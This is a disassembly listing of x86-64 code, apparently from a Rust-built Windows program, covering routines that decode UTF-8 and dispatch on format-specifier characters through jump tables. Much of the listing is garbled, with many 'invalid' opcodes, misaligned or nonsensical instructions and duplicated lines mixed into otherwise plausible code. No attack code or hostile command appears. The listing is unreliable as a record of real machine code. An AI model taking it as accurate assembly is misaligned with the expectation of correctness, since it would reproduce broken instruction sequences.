mov r12d, 1
mov rcx, r12
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov dil, 3
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
sub rax, rbx
cmp rax, rsi
jb 0x140026587
mov rcx, qword [rsp + 0x38]
add rcx, rbx
mov qword [rsp + 0x30], r15
jmp 0x14002651e
shl eax, 0xc
or r9d, eax
lea rax, [rcx + r14]
cmp r9d, 0x20
jne 0x140025fd8
jmp 0x14002634d
shl r10d, 6
or r10d, r8d
mov r8d, 1
cmp r10d, 0x80
jae 0x1400265ba
jmp 0x1400265da
cmp edx, 0x20
je 0x1400267a0
cmp edx, 0x30
jne 0x1400267b6
cmp r9d, 0x3000
jne 0x1400267b6
xor esi, esi
mov rdx, rcx
jmp 0x14002637f
lea rdx, [rdi + 2]
shl r9d, 6
or r9d, r11d
mov r8d, r9d
lea r9d, [r8 - 9]
cmp r9d, 5
jae 0x14002639c
nop dword [rax]
sub rsi, rdi
add rsi, rdx
cmp rdx, rax
je 0x1400264ca
mov rdi, rdx
movzx edx, byte [rdx]
movzx r8d, dl
test r8b, r8b
js 0x1400263f0
lea rdx, [rdi + 1]
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x140026370
cmp r8d, 0x20
je 0x140026370
cmp r8d, 0x80
jb 0x1400264cd
mov r9d, r8d
shr r9d, 8
cmp r9d, 0x1f
jg 0x14002647f
test r9d, r9d
je 0x14002649a
cmp r9d, 0x16
jne 0x1400264cd
cmp r8d, 0x1680
je 0x140026370
jmp 0x1400264cd
mov r9d, r8d
and r9d, 0x1f
movzx r11d, byte [rdi + 1]
and r11d, 0x3f
cmp r8b, 0xdf
jbe 0x140026354
movzx r10d, byte [rdi + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp dl, 0xf0
jb 0x14002645e
movzx r8d, byte [rdi + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400264ca
lea rdx, [rdi + 4]
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x140026370
jmp 0x14002639c
lea rdx, [rdi + 3]
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x140026370
jmp 0x14002639c
cmp r9d, 0x20
je 0x1400264b2
cmp r9d, 0x30
jne 0x1400264cd
cmp r8d, 0x3000
je 0x140026370
jmp 0x1400264cd
movzx r8d, r8b
lea r9, [0x1400eb37f]
test byte [r8 + r9], 1
jne 0x140026370
jmp 0x1400264cd
movzx r8d, r8b
lea r9, [0x1400eb37f]
test byte [r8 + r9], 2
jne 0x140026370
jmp 0x1400264cd
mov rsi, r14
test rsi, rsi
je 0x140029480
mov r15, r14
sub r15, rsi
sub edi, esi
jbe 0x1400264e9
cmp byte [rcx + rsi], 0xbf
jg 0x1400264ef
jmp 0x14002949a
jne 0x14002949a
mov r12, rcx
lea rax, [rcx + rsi]
mov dil, 2
xor r13d, r13d
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
and al, 0x48
sub rax, rbx
cmp rax, rsi
jb 0x140026570
mov rcx, qword [rsp + 0x38]
add rcx, rbx
mov r14, r15
mov rdx, r12
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rsp + 0x48], rbx
mov r15d, ebp
cmp dil, 3
je 0x14002654a
movzx eax, dil
mov ebp, r15d
cmp eax, 1
jne 0x140025f70
mov ebp, r15d
test rsi, rsi
je 0x140025f70
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
mov ebp, r15d
jmp 0x140025f70
lea rcx, [rsp + 0x38]
mov rdx, rbx
mov r8, rsi
call fcn.1400aae70
mov rbx, qword [rsp + 0x48]
jmp 0x140026513
lea rcx, [rsp + 0x38]
mov rdx, rbx
mov r8, rsi
call fcn.1400aae70
or byte [rax], al
mov rbx, qword [rsp + 0x48]
jmp 0x1400262e7
shl r10d, 0xc
or eax, r10d
mov r10d, eax
mov r8d, 1
cmp r10d, 0x80
jb 0x1400265da
mov r8d, 2
cmp r10d, 0x800
or byte [rax], al
add byte [rdx + 0x11], dh
cmp r10d, 0x10000
mov r8d, 4
sbb r8, 0
dec r14
mov rdx, r14
sub rdx, r8
jbe 0x1400265f1
cmp byte [rcx + r8], 0xbf
jg 0x1400265f7
jmp 0x1400294ee
jne 0x1400294ee
add rcx, r8
mov r11b, 1
mov r9b, 3
xor eax, eax
cmp r10d, 0x2f
jg 0x14002661b
cmp r10d, 0x23
je 0x14002663c
mov esi, 0
cmp r10d, 0x2d
je 0x14002664b
jmp 0x140026631
cmp r10d, 0x5f
je 0x140026646
cmp r10d, 0x30
jne 0x140026631
mov sil, 1
xor eax, eax
mov r11b, 1
jmp 0x14002664b
mov rdi, rcx
mov r15, rdx
jmp 0x140026755
mov sil, 3
mov al, 1
xor r11d, r11d
jmp 0x14002664b
mov sil, 2
xor eax, eax
cmp r14, r8
je case.0x140026776.38
movzx ebx, byte [rcx]
movzx r10d, bl
test r10b, r10b
js 0x14002666b
mov r8d, 1
jmp 0x140026710
mov r8d, r10d
and r8d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r10b, 0xdf
jbe 0x1400266bc
movzx r9d, byte [rcx + 2]
movzx ecx, byte [rcx + 2]
shl edi, 6
and r9d, 0x3f
or r9d, edi
cmp bl, 0xf0
jb 0x1400266d7
movzx r10d, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and r10d, 0x3f
or r10d, r9d
or r10d, r8d
or edx, eax
or edx, eax
cmp r10d, 0x110000
jne 0x1400266c6
jmp case.0x140026776.38
shl r8d, 6
or r8d, edi
mov r10d, r8d
mov r8d, 1
cmp r10d, 0x80
jae case.0x14006b1f5.95
jmp 0x140026710
shl r8d, 0xc
or r9d, r8d
or ecx, eax
mov r10d, r9d
mov r8d, 1
cmp r10d, 0x80
jb 0x140026710
mov r8d, 2
cmp r10d, 0x800
jb 0x140026710
cmp r10d, 0x10000
mov r8d, 4
sbb r8, 0
mov r15, rdx
sub r15, r8
jbe 0x140026724
cmp byte [rcx + r8], 0xbf
jg 0x14002672a
jmp 0x140029507
jne 0x140029507
add byte [rax], al
add rcx, r8
test al, al
je 0x14002674c
cmp r10d, 0x7a
setne al
or al, r11b
jne case.0x140026776.38
test eax, edi
sub al, 0
invalid
xor r13d, r13d
xor r8d, r8d
jmp 0x1400271a2
mov rdi, rcx
mov eax, r11d
mov r9d, esi
add r10d, 0xffffffdb
cmp r10d, 0x55
ja case.0x140026776.38
lea rdx, [0x1400ef29c]
movsxd rcx, dword [rdx + r10*4]
invalid
or al, 0x92
add rcx, rdx
mov qword [rsp + 0x50], rdi
jmp rcx
test al, al
jne case.0x140026776.38
mov r8b, 4
jmp 0x14002719a
movzx r8d, r9b
lea rdx, [0x1400eb37f]
test byte [r8 + rdx], 1
jne 0x14002634d
scasd eax, dword [rdi]
sti
invalid
invalid
jmp 0x1400267b6
movzx r8d, r9b
lea rdx, [0x1400eb37f]
test byte [r8 + rdx], 2
jne 0x14002634d
xor esi, esi
mov rdx, rcx
movabs rdi, 0x100003e00
jmp 0x1400267e9
cmp r8d, 0x25
je 0x140026942
sub rsi, rbx
add rsi, rdx
cmp rdx, rax
je 0x14002693f
mov rbx, rdx
movzx edx, byte [rdx]
movzx r8d, dl
test r8b, r8b
js 0x140026810
lea rdx, [rbx + 1]
cmp r8d, 0x20
jbe 0x1400268a0
jmp 0x1400268ad
mov r9d, r8d
and r9d, 0x1f
movzx r11d, byte [rbx + 1]
and r11d, 0x3f
and ebx, 0x3f
cmp r8b, 0xdf
jbe 0x14002686f
movzx r10d, byte [rbx + 2]
shl r11d, 6
and r10d, 0x3f
loop 0x140026872
or r10d, r11d
cmp dl, 0xf0
jb 0x140026885
movzx r8d, byte [rbx + 3]
and r9d, 7
shl r9d, 0x12
shl ecx, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
add byte [rcx], dl
add byte [rdi], cl
test ah, bl
add byte [rax], al
invalid
lea rdx, [rbx + 4]
cmp r8d, 0x20
jbe 0x1400268a0
jmp 0x1400268ad
lea rdx, [rbx + 2]
shl r9d, 6
or r9d, r11d
mov r8d, r9d
cmp r8d, 0x20
jbe 0x1400268a0
jmp 0x1400268ad
lea rdx, [rbx + 3]
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
rol byte [rcx - 0x7d], 1
clc
and byte [rdi + 0x14], dh
nop dword [rax]
mov r9d, r8d
bt rdi, r9
invalid
iretd
jb 0x140026942
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add byte [rax], 0
add byte [rdi], cl
invalid
cmp r8d, 0x80
jb 0x1400267d0
mov r9d, r8d
shr r9d, 8
cmp r9d, 0x1f
jg case.0x14001bc32.57
invalid
test r9d, r9d
je 0x14002690f
cmp r9d, 0x16
jne 0x1400267da
invalid
invalid
cmp r8d, 0x1680
jne 0x1400267da
adc byte [rsi], 0
add byte [rdi], cl
test edi, esi
invalid
jmp 0x140026942
nop word cs:[rax + rax]
cmp r9d, 0x20
je 0x140026927
cmp r9d, 0x30
xor byte [rdi], cl
test edx, ebx
invalid
jne 0x1400267da
cmp r8d, 0x3000
jne 0x1400267da
test ebp, ecx
invalid
jmp 0x140026942
movzx r8d, r8b
lea r9, [0x1400eb37f]
or eax, 0xc4a65
or eax, 0xc4a65
test byte [r8 + r9], 1
je 0x1400267da
jmp 0x140026942
sbb eax, dword [rbp + 0xf]
mov dh, 0xc0
movzx r8d, r8b
movzx eax, al
lea r9, [0x1400eb37f]
test byte [r8 + r9], 2
add cl, byte [rdi]
invalid
popfq
invalid
invalid
invalid
add cl, byte [rdi]
test byte [rbp - 0x14000002], bl
popfq
invalid
invalid
invalid
jmp 0x140026942
mov rsi, r14
popfq
invalid
jmp 0x140026942
mov rsi, r14
test rsi, rsi
je 0x14002951d
test dl, dl
sub eax, dword [rax]
invalid
test byte [rdi], 0x84
shr byte [rbx], cl
add byte [rax], al
mov r15, r14
sub r15, rsi
jbe 0x14002695e
cmp byte [rcx + rsi], 0xbf
jg 0x140026964
cmp al, 0x31
xor dword [rdi - 0x2616f481], edi
mov edi, 0xd9e90b7f
jmp 0x140029537
sub eax, dword [rax]
add byte [rdi], cl
test ebx, edx
shr dword [rbx], cl
add byte [rax], al
invalid
invalid
jne 0x140029537
mov r12, rcx
mov esp, ecx
int3
lea rax, [rcx + rsi]
lea eax, [rcx + rsi]
add al, 0x31
xor edi, edi
jmp 0x1400264f9
mov r8b, 0x12
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
adc eax, dword [rax]
add byte [rax], al
adc eax, dword [rax]
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
int 0x8a
or al, 0
int 0x8a
or al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
invalid
mov cl, byte [rax + 1]
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0x14
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
adc eax, dword [rax]
add byte [rax], al
invalid
adc eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
sahf
mov cl, byte [rax + rax]
sahf
mov cl, byte [rax + rax]
movsxd rcx, dword [rdx + rcx*4]
invalid
mov cl, byte [rax + 1]
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
add rcx, rdx
mov qword [rsp + 0x30], r15
jmp rcx
mov dil, 5
lea eax, [rdi - 4]
movzx eax, al
cmp al, 0x13
adc edi, dword [rcx + 0x13]
cmovae eax, ecx
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
movzx ecx, al
lea rdx, [0x1400ef460]
enter 0xffffffffffff8d48, 0x15
jae 0x140026975
or al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
mov r8b, 5
jmp rcx
mov r8b, 6
mov al, 6
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
mov cl, byte [r8 + rax]
mov cl, byte [rax + rax]
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov cl, byte [rax + rax]
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 7
mov al, 7
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
adc cl, byte [rdx + 0x6348000c]
mov cl, byte [rax + rax]
invalid
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov cl, byte [rax + rax]
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 8
mov al, 8
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov dword [rax + rax], ecx
enter 0xffffffffffff8d48, 0x15
jrcxz 0x140026a04
invalid
or al, 0
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 9
mov al, 9
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
lea edx, [0x1400ef460]
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
lea edx, [0x1400ef460]
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xa
mov al, 0xa
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov dword [rax + rax], ecx
enter 0xffffffffffff8d48, 0x15
test dword [rcx + 0x6348000c], ecx
mov dword [rax + rax], ecx
invalid
invalid
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xb
mov al, 0xb
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
invalid
invalid
push rsi
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
lea edx, [0x1400ef460]
mov dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xc
mov al, 0xc
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
invalid
mov r8b, 0xd
mov al, 0xd
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
clc
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov byte [rax + rax], cl
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xe
mov al, 0xe
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
movzx ecx, al
invalid
invalid
invalid
leave
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov byte [rax + rax], cl
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xf
mov al, 0xf
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0x10
mov al, 0x10
mov dil, 5
lea eax, [r8 - 4]
cld
cld
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
cmovae eax, ecx
movzx ecx, al
invalid
ror dword [r15], 0xb6
mov dh, 0xc8
enter 0xffffffffffff8d48, 0x15
imul ecx, dword [rax + 0x6348000c], 0xc
or al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
invalid
invalid
invalid
lea rdx, [0x1400ef460]
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
and al, 0x30
jmp rcx
mov r8b, 0x11
mov al, 0x11
mov dil, 5
lea eax, [r8 - 4]
add eax, 0xfc408d41
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
cmovae eax, ecx
movzx ecx, al
mov dh, 0xc8
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
cmp al, 0x88
or al, 0
lea rdx, [0x1400ef460]
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
jmp rcx
mov r8b, 0x13
mov al, 0x13
mov dil, 5
lea eax, [r8 - 4]
lea eax, [rax - 4]
lea eax, [rax - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
lea edx, [0x1400ef460]
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
or eax, 0x48000c88
or al, 0
invalid
invalid
lea edx, [0x1400ef460]
or al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
mov qword [rsp + 0x30], r15
jl 0x140026c82
xor bh, bh
loope case.0x140025f93.26
invalid
jmp rcx
mov r8b, 0x15
mov al, 0x15
adc eax, 0x4105b740
lea eax, [rax - 4]
mov dil, 5
lea eax, [r8 - 4]
cld
movzx eax, al
cmp al, 0x13
adc edi, dword [rcx + 0x13]
sar byte [rbx + rdx], 0xb9
adc eax, dword [rax]
adc edi, dword [rcx + 0x13]
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
adc eax, 0xc87de
adc eax, 0xc87de
fiadd word [rdi + 0x6348000c]
or al, 0x8a
xchg dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
invalid
xor bh, bh
loope case.0x140023c67.72
mov r8b, 0x16
mov al, 0x16
mov dil, 5
mov bh, 5
lea eax, [r8 - 4]
cld
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rdi], cl
invalid
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
movzx ecx, al
lea rdx, [0x1400ef460]
or al, 0
enter 0xffffffffffff8d48, 0x15
scasd eax, dword [rdi]
xchg dword [rax + rax], ecx
or al, 0
or al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
jmp rcx
mov dil, 5
cmp al, 0x13
adc edi, dword [rcx + 0x13]
add eax, 0x13b9133c
adc edi, dword [rcx + 0x13]
add byte [rax], al
add byte [rdi], cl
cmovae eax, ecx
movzx ecx, al
mov dh, 0xc8
invalid
invalid
invalid
cmovae eax, ecx
movzx ecx, al
mov dh, 0xc8
mov dh, 0xc8
lea rdx, [0x1400ef460]
mov al, byte [rdi + 0x6348000c]
or al, 0x8a
xchg dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov qword [rsp + 0x30], r15
jl case.0x140026cbd.79
xor bh, bh
loope 0x140026c69
invalid
jmp rcx
test al, al
ror byte [rdi], 0x85
jne case.0x140026776.38
invalid
invalid
lea r12, str._nlibrary_std_src_rt.rs
sbb cl, byte gs:[rax + rax]
jmp 0x140026d14
test al, al
ror byte [rdi], 0x85
cmp al, 0x27
jne case.0x140026776.38
add byte [rax], al
mov r8b, 9
jmp 0x14002719a
test al, al
jne case.0x140026776.38
add byte [rax], al
test dword [rdi + riz], ebp
add byte [rax], al
lea r12, [0x1400d70f0]
or eax, dword [rax]
mov dil, 2
jmp 0x140026d3e
add ch, bl
and eax, 0x31450bb1
mov cl, 0xb
xor r13d, r13d
mov cl, 0xb
xor r13d, r13d
xor esi, esi
test al, al
je 0x140027136
invalid
add al, 0
add byte [rax], al
test byte [rax + rax*8 + 0x40e840f], 0
add cl, ch
add byte [rcx], 0
add byte [rax + rax*8 + 0x2704850f], al
test al, al
jne case.0x140026776.38
invalid
add byte [rax], al
jmp case.0x140080ba4.99
test al, al
jne case.0x140026776.38
add byte [rbp + rcx*4 + 0x25], cl
or al, 5
or eax, dword [rax]
invalid
lea r12, str._assertion_failed:_nextspec___0
lea esp, str._assertion_failed:_nextspec___0
add byte [rcx], dh
invalid
xor edi, edi
mov esi, 1
xor r13d, r13d
add byte [rbp + 0x31], al
in eax, dx
jmp 0x140026501
mov dh, 0xf7
invalid
idiv edi
inc dword [rax + rax*8 + 0x26e6850f]
test al, al
invalid
test esi, esp
invalid
test al, al
jne case.0x140026776.38
test esi, esp
add byte es:[rax], al
add byte [rax], al
out 0x26, al
add byte [rax], al
add byte [rcx - 0x50], al
invalid
mov r8b, 0x16
jmp 0x14002719a
test r15, r15
je case.0x140026776.38
add byte [rax], al
mov rcx, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
movzx r9d, byte [rcx]
mov dh, 9
movzx r11d, r9b
test r11b, r11b
test bl, bl
test bl, bl
js 0x14002722a
mov al, 4
add byte [rax], al
mov r8d, 1
jmp 0x14002749d
invalid
add byte [rax], al
invalid
add byte [rax], al
test r15, r15
test edi, edi
dec dword [rdi]
test byte [rbx + 0x4c000026], ch
stosd dword [rdi], eax
add byte es:[rax], al
mov r11, qword [rsp + 0x50]
je case.0x140026776.38
mov r11, qword [rsp + 0x50]
push rax
movzx r9d, byte [r11]
movzx ecx, byte [rbx]
or eax, dword [rcx + 0xf]
mov dh, 0xc9
movzx ecx, r9b
test cl, cl
js 0x140027288
add byte [rcx - 0x48], al
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add cl, ch
add eax, 0x4d000008
test r15, r15
add byte [rax], al
jmp 0x1400275b3
test r15, r15
dec dword [rdi]
je case.0x140026776.38
test byte [rdx + 0x4c000026], al
add byte [rbx + rcx*4 + 0x5c], cl
and al, 0x50
mov r11, qword [rsp + 0x50]
mov ebx, dword [rsp + 0x50]
movzx r9d, byte [r11]
movzx ecx, r9b
movzx ecx, cl
mov dh, 0xc9
leave
test cl, cl
js 0x1400272e1
adc eax, 0x41000005
mov eax, 1
invalid
mov r8d, 1
add cl, ch
pop rax
jmp 0x14002762f
or byte [rax], al
add byte [rbp - 0x7b], cl
test r15, r15
invalid
test byte [rcx + 0x26], bl
invalid
test r15, r15
je case.0x140026776.38
add byte [rax], al
mov r11, qword [rsp + 0x50]
pop rsp
and al, 0x50
movzx r9d, byte [r11]
or eax, dword [rcx + 0xf]
mov dh, 0xc9
leave
movzx ecx, r9b
leave
test cl, cl
leave
js 0x14002733a
add byte [rax], al
mov r8d, 1
mov eax, 1
add cl, ch
stosd dword [rdi], eax
or byte [rax], al
add byte [rax], al
cmp r15, 3
jmp 0x1400276ab
add byte [rax], al
cmp r15, 3
cmp edi, 3
jae 0x1400271ef
cmp r15, 2
inc dword [rdx]
je 0x140027393
test byte [rdi + 5], bh
add byte [rax], al
test r15, r15
test edi, edi
dec dword [rdi]
test byte [rsi + riz], bl
add byte [rax], al
je case.0x140026776.38
cmp byte [rdi], 0x7a
jne case.0x140026776.38
invalid
xor r15d, r15d
jmp 0x1400273b8
invalid
invalid
add byte [rax], al
invalid
invalid
add byte [rax + rax*8 + 0x2603850f], al
add byte [rax], al
test al, al
jne case.0x140026776.38
test dword [rbx], eax
add byte es:[rax], al
mov r8b, 7
jmp 0x14002719a
pop rsp
add eax, dword [rax]
invalid
invalid
pop rsp
add eax, dword [rax]
add byte [rax + rax*8 + 0x25f3850f], al
test al, al
invalid
test ebx, esi
invalid
invalid
test al, al
jne case.0x140026776.38
invalid
invalid
add byte [rax], al
and eax, 0xb0410000
add eax, 0x34ce9
invalid
add r8, qword [rax]
add byte [rax], al
mov r8b, 5
jmp 0x14002719a
add r8, qword [rax]
add byte [rax], al
add byte [rcx - 0x12cebaff], dh
mov cl, 1
xor r13d, r13d
test al, al
jne case.0x140080ba4.99
push rsi
push rsi
mov sil, 1
mov dh, 1
jmp 0x140027136
add byte [rax + rax*8 + 0x25d2850f], al
add byte [rax], al
test al, al
jne case.0x140026776.38
test edx, edx
and eax, 0x6b10000
invalid
mov cl, 6
invalid
mov sil, 1
mov dh, 1
mov r13d, 4
add al, 0
add byte [rax], al
lea rdi, [0x1400d6fa0]
cmp eax, 0xb0127
add dword [rbx], ecx
add cl, ch
invalid
jmp 0x14002713b
mov ebp, 0x84000002
ror byte [rdi], 0x85
mov bl, 0x25
add byte [rax], al
test al, al
jne case.0x140026776.38
add byte [rax], al
test dword [rbx + 0x40000025], esi
mov dh, 1
invalid
add byte [rax], al
mov sil, 1
mov r13d, 4
mov ebp, 4
add al, 0
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xb016a
or eax, dword [rax]
lea rdi, [0x1400d7000]
lea edi, [0x1400d7000]
xor ecx, ecx
jmp 0x14002713b
mov sil, 1
mov dh, 1
mov cl, 3
xor r13d, r13d
test al, al
je 0x140027136
mov dword [rdx], eax
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
invalid
jl 0x140026ed5
invalid
add byte [rax], al
mov rdi, qword [rsp + 0x30]
xor byte [rdx + 2], bh
mov edx, 2
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc1
movzx eax, cl
lea rcx, [0x1400ef410]
test qword [r8 + r8], r9
test dword [rax + rax], ecx
or al, 0
add byte [rbx + riz*2 + 4], cl
or dword [rcx + 1], 0xfe894dc8
add eax, ecx
mov r14, r15
movsxd r8, dword [rcx + rax*4]
add r8, rcx
add eax, ecx
invalid
add eax, ecx
enter 0xffffffffffff894d, 0xfffffffffffffffe
mov r14, r15
mov esi, r9d
mov rax, qword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
add byte [rbx + 0xcc248c], cl
mov ecx, dword [rsp + 0xcc]
mov word [rsp + rcx*8], fs
int3
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], al
jmp r8
loopne case.0x14001b912.149
mov sil, 1
mov dh, 1
mov cl, 0xe
xor r13d, r13d
invalid
test al, al
je 0x140027136
test byte [rsi + 2], al
add byte [rax], al
